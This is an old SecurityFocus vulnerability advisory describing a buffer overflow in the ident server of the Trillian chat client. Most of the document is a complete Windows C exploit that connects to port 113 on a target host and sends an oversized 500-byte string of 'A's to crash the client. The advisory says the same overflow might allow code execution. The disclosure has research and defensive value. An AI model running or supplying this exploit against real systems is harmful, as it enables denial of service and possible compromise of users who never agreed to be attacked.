source: http://www.securityfocus.com/bid/5733/info

Trillian ships with an ident server to facilitate connections to IRC servers that require an ident response before allowing access. A buffer overflow condition exists in the Trillian ident server, which may potentially be exploited to cause a denial of service or execute arbitrary code.

When the ident server receives a malformed request that is 418 bytes or more in length, the client crashes and memory is corrupted. It may be possible for an attacker to exploit the resulting memory corruption to execute arbitrary instructions with the privileges of the ident server.

/* Trillian-Ident.c
   Author: Lance Fitz-Herbert
   Contact: IRC: Phrizer, DALnet - #KORP
            ICQ: 23549284

   Exploits the Trillian Ident Flaw.
   Tested On Version .74 and .73
   Compiles with Borland 5.5
   This Example Will Just DoS The Trillian Client.

*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
char payload[500];
int main(int argc, char * argv[]) {
        int iret;
        struct hostent *host;
        SOCKET sockhandle;
        SOCKADDR_IN address;
        WSADATA wsdata;

        if (argc<2) {
                printf("\nTrillian Ident DoS\n");
                printf("----------------------\n");
                printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
                printf("Tested On Version .74 and .73\n\n");
                printf("Usage: trillian-ident <address>");
                return 0;
        }

        WSAStartup(MAKEWORD(1,1),&wsdata);
        printf("Making Socket Now...\n");
        sockhandle = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

        if (sockhandle == SOCKET_ERROR) {
                printf("Error Creating Socket\n");
                WSACleanup();
                return 1;
        }

        printf("Socket Created\n");

        address.sin_family = AF_INET;
        address.sin_port = htons(113);
        address.sin_addr.s_addr = inet_addr(argv[1]);


        if (address.sin_addr.s_addr == INADDR_NONE) {
                host = NULL;
                printf("Trying To Resolve Host\n");
                host = gethostbyname(argv[1]);
                if (host == NULL) {
                        printf("Uknown Host: %s\n",argv[1]);
                        WSACleanup();
                        return 1;
                }
                memcpy(&address.sin_addr, host->h_addr_list[0],host->h_length);
        }



        printf("Connecting To Server...\n");
        iret = connect(sockhandle, (struct sockaddr *) &address,        sizeof(address));

        if (iret == SOCKET_ERROR) {
                printf("Couldnt Connect\n");
                WSACleanup();
                return 1;
        }

        printf("Connected to %s!\nSending Payload\n",argv[1]);
        memset(payload,'A',500);
        send(sockhandle,payload,strlen(payload),0);
        Sleep(100);
        WSACleanup();
        return 0;
}
